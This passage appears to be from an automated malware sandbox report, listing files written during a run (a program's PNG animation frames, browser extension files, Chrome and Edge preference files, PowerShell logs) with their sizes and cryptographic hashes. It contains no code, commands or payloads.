                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        51a6925bc9558f9ba232b85623d78f975d1c18c1990ce62153aa57a742e0897c72fc0665213024f8d5af96e56cc47eb384ee8d231910fdef876a0889b52a59d8

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Speak\Speak.006.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        6f530b0a64361ef7e2ce6c28cb44b869

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        ca087fc6ed5440180c7240c74988c99e4603ce35

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        457626948266abd4f0dcda6a09c448bb20cce3596b52076b8d90e1c626037dc9

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        dc3d809eab3bfa7c65c35a36d55097e09fbefa2f6de962ae02c58540f6c88b3ca9be3361f3ec37b8ce7927e020463055c455f2e93baa3a3c12096b55abcab6d3

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Speak\Speak.007.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        aac6fc45cfb83a6279e7184bcd4105d6

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        b51ab2470a1eedad86cc3d93152360d72cb87549

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        a59bb83276f003dd149c2143a5a70f012212c709e72af283209adfb85a0835b1

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        7020ba8d918398bc2d5e6ea4aaea007d576d4c3577adab80259336505b06e8163d0afde5a7b4d802ba2dab9ec9c757e88eb37780246c35d38e5fed8648bbf3a1

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Speak\Speak.008.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        fa73c710edc1f91ecacba2d8016c780c

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        19fafe993ee8db2e90e81dbb92e00eb395f232b9

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        cca9c6b8e0df9e09523ab59021ffff62b29273cae487335c87b569e8483aaae2

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        f73b2ee270348247db1d7fea937cd69125afa6aef926dc5c1cef14b955630711fe106d56270172448d739014ae4fd7d221007aaa422b3625aa524b812baa10a2

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Speak\Speak.009.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        3faefb490e3745520c08e7aa5cc0a693

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        357ffa8b2d4797d8d6cf67c0c84818ebc746ce0a

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        6ba5254c0b10b6939d5cd80f3ab87757143896d20fd8e014c3fcca35657e076b

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        714d9d32ab070a992d84dc597a086afb7fe040300c33c25f9acdd27f5f8894145a5f9f8654b522c04a9cb1babeb25000fac25b01b1c820d4cfe8d67e40cd72a7

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Speak\Speak.010.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        1bed8b0629ce72b595017371336ac688

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        9180c6c3d0bdd3470fa38854de8af238bcc31d42

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        a8cc3da0e5b87f10e6acd766bbd096dbe40ca60507867ec8ea66c56436fa6cd7

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        4483b0ac1e83ef94f982aa7cf92767a24165060e1d492a87290a2301bcd2654e1c2e5d5cd637151408cac576d74d529b7d05e7e12b27e02afd17e24029a92ceb

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Speak\Speak.011.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        c9eccb5ce7e65fd1eff7aba4a6fd43e8

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        cd71011e1172a157627e1595cc7ce4888370a765

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        a4045f846f5b3bb0856dbfdca78b5871433beefccb1416a2824e8dccce9f5975

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        3b07f14cbc06f2a4a75067e09c04c760af324ebe2de5c51c88648b184337aad48d319c2753bc9987ebb2094719d92a0f87d7c0fd84c4d893dd8351e7dc6de3f8

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Tired\Tired.001.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        136be0b759f73a00e2d324a3073f63b7

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        b3f03f663c8757ba7152f95549495e4914dc75db

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        c9b925e1f1409ddaa3aadf1ae7c2fb3310b69fb931190b7dc2f274f517fe38fc

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        263911753deffbce295dda3f311225edeb375555b1db2771477167600573bea78719f6294960dc5c5d95885194412dd0f133bae75a30e16556377263165b3723

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Tired\Tired.002.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        f8f8ea9dd52781d7fa6610484aff1950

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        973f8c25b7b5e382820ce479668eac30ed2f5707

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        209e9d1fb6a814edfa4f8128d4a2168b274ea0eeb965a57f3c8b9695417a1bf1

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        4f4e379afff8850eec6e4f3d165eba60f6916569ee7561b8bbf5a6bfeda27dbbcc0687ce02bece412616204f89861d23a92055a226cea14a29c53c653919c094

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Tired\Tired.003.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        fb73acc1924324ca53e815a46765be0b

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        62c0a21b74e7b72a064e4faf1f8799ed37466a19

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        5488954fe5b4d87dee40dd68cc1d940d2395a52dc52d1c77f40cd2342b97efd8

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        ea3ba299ca07850af45a29e2f88aece9163c13f4921a1fc05d930c008bc017b698c9fb987120147465a53fe0c0848926f543081716d5f877efa5a34b10822895

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Tired\Tired.004.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        6da7cf42c4bc126f50027c312ef9109a

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        8b31ab8b7b01074257ec50eb4bc0b89259e63a31

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        2ebdf7d755b442de775819b0bcfe7bdd06fda92f6ad36dcfdeaab107f58f23df

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        5c9783a8c14c6654db2a9a7818d4376fc3b2aeab9820539d20353018d90f734652ebba8052184b62f0e17f8f094da28c2bdfc73a0c707036fb5f923ed25625d9

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Tired\Tired.005.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        d9d3c74ac593d5598c3b3bceb2f25b1d

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        df14dee30599d5d6d67a34d397b993494e66700e

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        2cba290a8c42f664a0e1a8e571e27bc846024fa7da9f7adc773a471ef74046bc

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        de70858da11efb89e7db55762827f8c1d4b55aff14faea8ffd8a5f15d32d6956f6ca4a3fdd9ffd75906a818af81ba9c7ef056df7c8cec4076308df94ff3207ac

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Tired\Tired.006.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        3071c94f1209b190ec26913a36f30659

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        d76fbfbc4ddd17383b6a716f24d137a8dc7ff610

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        89868008f5e5c55e5dd5982c15f105d11b9d3603ab45395dde0ec1c5ce61e683

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        bd21f269dd92ab826caa6085bf79f17b6c9b6c4b660d03913295611bae590f277a9a0a0e39fa281737fcd9cfbbb6a5c8f02287d316954badca394e730bad72f4

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\_1Idle\_1Idle.003.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        533bc8e9ad951ba6d05c35a829e89156

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        2709a1e51dcfa820a064ee3f0f34dea9cbc4fdee

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        0827a66c31995a144229ca6b9bee27de94fd5bba937d25efde961dfa544d5c91

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        d1d31f38686caacbe9453cc92c0bb88c4b085903b7b8eb455241839bec6b5ec4de0a0747cdfbcccb7468bb3bc6ca654e34a748762bb1a71e8e4b90285d397201

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        2.0MB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        2d492d2f657ba035e4826e0d092b6392

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        f3686761a9c750de7b9134caaa5cdf0383866f1b

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        240588eaf050889bfdb83bae33e87047d7efb8d7db62576af7e57af87127be69

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        b5f80edd624794e813a440fa23ae868f5ee14be72f4ff633ef6d7640abf15e930214bc7e8fb14187a9d0875702e7131e128c3897f37ce890670bf6f8ad7dbc06

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        187B

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        2a1e12a4811892d95962998e184399d8

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        136B

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        150B

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        11KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        4e938daa1f07247b0a18ea6685023852

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        59c7e2435135b8c686a1beaa620c2197410020b9

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        cd9ace78b4c8f54b38cc0837bfd013c80c429c556477ba81c59ccad38fe44257

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        e42df61f604df92c67707ccfad612fc9ff3c61543a587e5113b08beaa85e32de477856de0da47ca2a3b6e602fea50fe20b83b72785df314e709e5011ebdd5ce0

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        36KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        c98b1ae0a8bfdd5276df2c594503e3b1

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        e9031a298ef789d609426ac9f62a8839fe7218fc

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        c0ec8856dc799a64740457a28afe5f6d4173a39841a032752a692c76dd8c561b

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        29f30ad033f0bcb8543231f5e77fb634bfbf1dffbc959cafa84df2ecec91035f9f6484ed93058af05b73430f79254805a37d62f06e83ad6834e7751b62807d68

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        2KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        1KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        def65711d78669d7f8e69313be4acf2e

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        6522ebf1de09eeb981e270bd95114bc69a49cda6

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        152B

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        f61fa5143fe872d1d8f1e9f8dc6544f9

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        df44bab94d7388fb38c63085ec4db80cfc5eb009

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        284a24b5b40860240db00ef3ae6a33c9fa8349ab5490a634e27b2c6e9a191c64

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        971000784a6518bb39c5cf043292c7ab659162275470f5f6b632ea91a6bcae83bc80517ceb983dd5abfe8fb4e157344cb65c27e609a879eec00b33c5fad563a6

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        152B

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        87f7abeb82600e1e640b843ad50fe0a1

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        045bbada3f23fc59941bf7d0210fb160cb78ae87

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        b35d6906050d90a81d23646f86c20a8f5d42f058ffc6436fb0a2b8bd71ee1262

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        ea8e7f24ab823ad710ce079c86c40aa957353a00d2775732c23e31be88a10d212e974c4691279aa86016c4660f5795febf739a15207833df6ed964a9ed99d618

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        151B

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        5KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        0a65deec9382f47e4515674f34863e93

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        ca2413c7d6d42539f3d11a83485861df2f4c4e7e

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        69083999b2812d9a585f0a94cd752a463d7d817a081232f594f58ffb9c013b86

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        f3d2d520c9b34321edb3924db90568a3fce095345f18e9ce7277d0ee448a7e39017904db1124cf3bb779776baa5bf1861634153c1d8f152d48b8d647270a8dcc

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        6KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        d503365ff27a13261b481c24ce446f9d

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        5d2615b45666ac389e8455bcca04444b5d99079e

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        ad448ea11c442257ce643186c1beb17af385d507bb46f630a312567b61c62752

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        491eb70c64efa8c5c8cb102fafa5ca6ee3c41681dfe7593fa37481ace7bdfc3e54d0715b25fc28d54f004cb8ba13ab1a4a281eadd0bac43db53ec07e63d732e2

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        11KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        78470b8238d63485d7ffe7efb0e8792f

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        b753bfbb742d1848633f598e47440a45159e300d

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        f0c3be919aa7006153a03c86e6ac7f4edd53a3ca4f781db098a9cc849c532378

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        a663edc5a474e37abc26f392ca84906af4ebe2bdeab69027d58d3e6c959a5a26f40e81278f68fce258399185487e0d3ff96ec346442f5e432833306e4c9a832f

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13361023639529681
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        1KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        2ed0d86ba8ba57ae66f7822d75c0bf5f

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        092517944b4ef8ca06a172f47e71393bee292078

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        f41f1f27301c07d554c7046ecd4c8ea5b77bfabfb5f1be5dacc0128af33e9a7d

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        785ab29939542f886d6e71f82ab0192528b3b1dc9220bade67b6c86a58c8022f901f975d43e40fd9392476ff349457acc306f5c4c4040ae5b61e3497d42eb53c

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        11KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        7afec71583661598128de86244d5e59e

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        1b50c8baddb649846567b551012256718bb14619

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        df2eef183ee3a91910d2b9d80ea3a08e6e8d95e6f8a36b8d7da7eeff95338eba

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        aee4eb4d49c0f09c1a21cac5f05a3ba21967927b8d82c30ee3b7afc508e8b5f6561f7f44620dbf3e84375b3abee50168ddf39f25c72fc3697be2199c7f32423a

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        944B

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        d28a889fd956d5cb3accfbaf1143eb6f

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        157ba54b365341f8ff06707d996b3635da8446f7

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        15KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        aec5622f1055b109f4ccf84f7264eb8f

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        8010ddb412cbc1bde8e5835a6ed37ea3b2167a15

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        31c68f3213422e51c77c11181ad956c630cc34c4978bdbde0788469b53d91992

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        b024991ef7408fdefe54220473f9dc684442111f9026c1fc100d2836a004f0afe9bd01cb994f763a816b5ac4eccba7abfef1716d6485adf81ec9195b0060d309

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        11KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        27eed0f517ad625635c276d118bf81f3

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        cc255fbbc4381e3245396e056dd839072a71f1ae

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        fa180942bd71493fa10325b967770ffe78ba2b51af4d563fe45790d8bea41f29

                                                                                                                                                                                                                                                                                        SHA512

